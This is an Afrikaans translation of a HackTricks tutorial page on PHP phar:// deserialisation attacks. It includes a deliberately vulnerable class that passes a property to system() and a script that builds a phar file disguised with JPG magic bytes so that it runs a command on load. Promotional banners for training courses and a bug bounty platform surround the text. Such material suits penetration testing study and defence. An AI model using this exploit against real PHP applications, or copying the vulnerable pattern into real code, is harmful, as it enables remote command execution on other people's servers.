5.1 KiB
phar:// deserialisering
{% hint style="success" %}
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
![](/Mirrors/hacktricks/media/commit/602033134303d2c1e13dd2ea4535816db254065f/.gitbook/assets/i3.png)
Bug bounty wenk: meld aan by Intigriti, 'n premium bug bounty platform geskep deur hackers, vir hackers! Sluit vandag by ons aan by https://go.intigriti.com/hacktricks en begin om bounties tot $100,000 te verdien!
{% embed url="https://go.intigriti.com/hacktricks" %}
Phar lêers (PHP-argief) bevat meta data in geserialiseerde formaat, so, wanneer dit geparseer word, word hierdie metadata gedeserializeer en jy kan probeer om 'n deserialisering kwesbaarheid in die PHP kode te misbruik.
Die beste ding van hierdie eienskap is dat hierdie deserialisering sal plaasvind selfs wanneer PHP funksies gebruik word wat nie PHP kode eval nie, soos file_get_contents(), fopen(), file() of file_exists(), md5_file(), filemtime() of filesize().
So, stel jou 'n situasie voor waar jy 'n PHP web kan laat die grootte van 'n arbitrêre lêer kry met behulp van die phar://
protokol, en binne die kode vind jy 'n klas soortgelyk aan die volgende een:
{% code title="vunl.php" %}
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
filesize("phar://test.phar"); #The attacker can control this path
{% endcode %}
Jy kan 'n phar lêer skep wat, wanneer dit gelaai word, hierdie klas sal misbruik om arbitrêre opdragte uit te voer met iets soos:
{% code title="create_phar.php" %}
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
{% endcode %}
Let op hoe die magic bytes van JPG (\xff\xd8\xff
) aan die begin van die phar-lêer bygevoeg word om miskien lêer oplaai beperkings te omseil.
Compileer die test.phar
lêer met:
php --define phar.readonly=0 create_phar.php
En voer die whoami
opdrag uit deur die kwesbare kode te misbruik met:
php vuln.php
Verwysings
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
![](/Mirrors/hacktricks/media/commit/602033134303d2c1e13dd2ea4535816db254065f/.gitbook/assets/i3.png)
Foutbeloning wenk: meld aan vir Intigriti, 'n premium foutbeloning platform geskep deur hackers, vir hackers! Sluit vandag by ons aan by https://go.intigriti.com/hacktricks en begin om belonings tot $100,000 te verdien!
{% embed url="https://go.intigriti.com/hacktricks" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:HackTricks Opleiding AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Opleiding GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.